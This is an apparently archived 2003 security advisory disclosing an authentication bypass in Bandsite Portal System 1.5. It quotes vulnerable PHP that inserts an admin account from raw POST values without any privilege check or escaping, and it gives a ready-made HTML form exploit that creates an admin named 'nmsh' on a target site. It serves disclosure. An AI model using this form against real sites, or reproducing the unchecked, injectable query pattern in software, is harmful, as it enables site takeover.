[UNIX] Vulnerability in Bandsite Allows Gaining Admin Access
From: SecuriTeam (support_at_securiteam.com)
Date: 09/16/03
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To: list@securiteam.com Date: 16 Sep 2003 17:15:50 +0200
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Vulnerability in Bandsite Allows Gaining Admin Access
------------------------------------------------------------------------
SUMMARY
<http://membres.lycos.fr/fluxx/bandwebsite.php> Bandsite is "an online
portal system designed for Bands. Features: themes support, news posting,
audio sections, guestbook, tour guide, an admin section to manage overall
data and configurations, and more".
A vulnerability in the product allows remote attackers to insert a new
administrator account without requiring any special privileges.
DETAILS
Vulnerable systems:
* Bandsite Portal System version 1.5
Vulnerable code:
switch ($section) {
[...]
case admins:
if ($submit){
$query = "INSERT INTO admin (name,pass,level) VALUES
('$name','$pass','1')";
mysql_query($query) or die ("query failed");
echo"The admin has been added!<br><a
href=admin.php?section=admins>Back</a><br>";
As you can see by simply sending a request using the following HTML:
< form
action=http://[target]/bandwebsite/admin.php?&Login=1§ion=admins
method=post>
Name:< br>
< input type=text name='name' value='nmsh' size="20">< br>
Pass:< br>
< input type=text name='pass' value='nmsh' size="20">< br>
< input type=submit name='submit' value='send'>< br>
</form>
A new administrator named nmsh will be added with the password nmsh.
Now by going to the following URL: http://[target]/bandwebsite/login.php
and entering as the login name nmsh and as the password nmsh,
administrative privileges can be gained.
ADDITIONAL INFORMATION
The information has been provided by <mailto:nmsh_sa@yahoo.com>
Nasser.M.Sh.
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